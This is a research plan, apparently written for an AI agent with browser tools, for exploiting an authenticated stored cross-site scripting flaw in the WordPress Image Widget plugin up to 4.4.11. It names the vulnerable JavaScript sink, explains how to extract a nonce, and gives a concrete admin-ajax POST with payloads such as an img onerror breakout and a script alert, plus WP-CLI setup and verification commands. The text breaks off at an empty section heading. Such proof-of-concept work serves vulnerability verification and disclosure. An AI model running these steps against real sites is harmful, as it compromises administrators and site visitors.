Image Widget <= 4.4.11 - Authenticated (Author+) Stored Cross-Site Scripting

This research plan targets a Stored Cross-Site Scripting (XSS) vulnerability in the Image Widget plugin (<= 4.4.11). The vulnerability allows an authenticated user with Author privileges to inject malicious scripts into the site via media metadata, which is subsequently rendered by the widget without proper escaping.

---

1. Vulnerability Summary

• Vulnerability: Authenticated Stored XSS.
• Location: Tribe_Image_Widget class (main file) and resources/js/image-widget.js.
• Cause: The plugin fails to sanitize media metadata (Alt Text, Description) when importing it into a widget instance and fails to escape this data during output in both the Admin preview and the Frontend rendering.
• Role Requirement: Author (or higher). Authors can upload and edit their own media, which serves as the injection vector.

2. Attack Vector Analysis

• Injection Point: Media Library attachment metadata (Title, Alt Text, or Description).
• Transport: The metadata is "pulled" into the widget settings via JavaScript (image-widget.js) when an administrator selects an image for the widget.
• Sink (Admin): The imageWidget.imgHTML() function in image-widget.js appends the alt text directly to an HTML string which is then injected into the DOM using .html().
• Sink (Frontend): The widget() method in image-widget.php processes the stored fields. If the template (views/widget.php) echoes these fields without escaping, the XSS executes on the frontend.

3. Code Flow

1. Author Action: Uploads an image and updates its "Alternative Text" to include a breakout payload (e.g., "><img src=x onerror=alert(1)>).
2. Admin Action: Navigates to wp-admin/widgets.php and adds an "Image Widget".
3. Selection: Admin clicks "Select Image". The uploader function in image-widget.js opens the WP Media Manager.
4. Import: Upon selecting the Author's image, render(widget_id, widget_id_string, attachment) is triggered.
5. Admin Execution (Preview):
   • render calls imgHTML(attachment).
   • imgHTML constructs: img_html += 'alt="' + attachment.alt + '" '; (Vulnerable Sink).
   • $("#" + widget_id_string + 'preview').html(img_html); executes the payload immediately in the Admin's browser.
6. Persistence: render also populates the widget form: imageWidget.updateInputIfEmpty(..., 'alt', attachment.alt).
7. Storage: When the Admin clicks "Save", the payload is stored in the widget's instance data in the wp_options table.
8. Frontend Execution: Tribe_Image_Widget::widget() retrieves the instance data and renders it.

4. Nonce Acquisition Strategy

To inject the payload as an Author, we must update a media attachment. This requires a nonce for the save-attachment AJAX action.

1. Identify Attachment: Upload an image as an Author and get its ATTACHMENT_ID.
2. Navigate to Edit Page: Use browser_navigate to wp-admin/post.php?post=ATTACHMENT_ID&action=edit.
3. Extract Nonce:
   • Use browser_eval("document.querySelector('#_wpnonce').value") to get the nonce from the edit form.
   • Alternatively, look for the wp.media settings in the localized JS.

5. Exploitation Strategy

Step 1: Payload Preparation (As Author)

Upload an image and update its metadata with the payload.

• Request Type: POST to /wp-admin/admin-ajax.php
• Parameters:
  • action: save-attachment
  • id: ATTACHMENT_ID
  • nonce: [EXTRACTED_NONCE]
  • changes[image_alt]: "><img src=x onerror=alert(document.domain)>
  • changes[description]: <script>alert('Stored XSS')</script>

Step 2: Trigger Admin Execution

The agent must simulate an Admin selecting the image.

1. Navigate to wp-admin/widgets.php as Admin.
2. Add an "Image Widget".
3. Use browser_click on the "Select Image" button.
4. Select the Author's image in the Media Library.
5. Observe: The imgHTML function will execute the alt payload in the widget's preview area.

Step 3: Persistence (Frontend)

1. Complete the widget setup and click "Save".
2. Navigate to the site's homepage (or wherever the sidebar is active).
3. Observe: The payload executes for all visitors.

6. Test Data Setup

1. User: Create an Author user.

   wp user create attacker attacker@example.com --role=author --user_pass=password
   

2. Media: Upload an image as the Author.

   wp media import https://wordpress.org/screenshot.png --user=attacker
   

3. Note ID: Capture the resulting Attachment ID (e.g., 123).

7. Expected Results

• Admin Side: An alert box should trigger the moment the image is selected in the widget settings due to the alt attribute breakout in image-widget.js.
• Frontend Side: The page source for the widget will contain the unescaped payload:
  <img ... alt=""><img src=x onerror=alert(document.domain)>" />

8. Verification Steps

1. Check Database:

   wp option get widget_widget_sp_image
   

   Confirm the payload exists in the serialized widget settings.
2. Check HTML Output:
   Use http_request to fetch the homepage and grep for the payload in the widget_sp_image container.

9.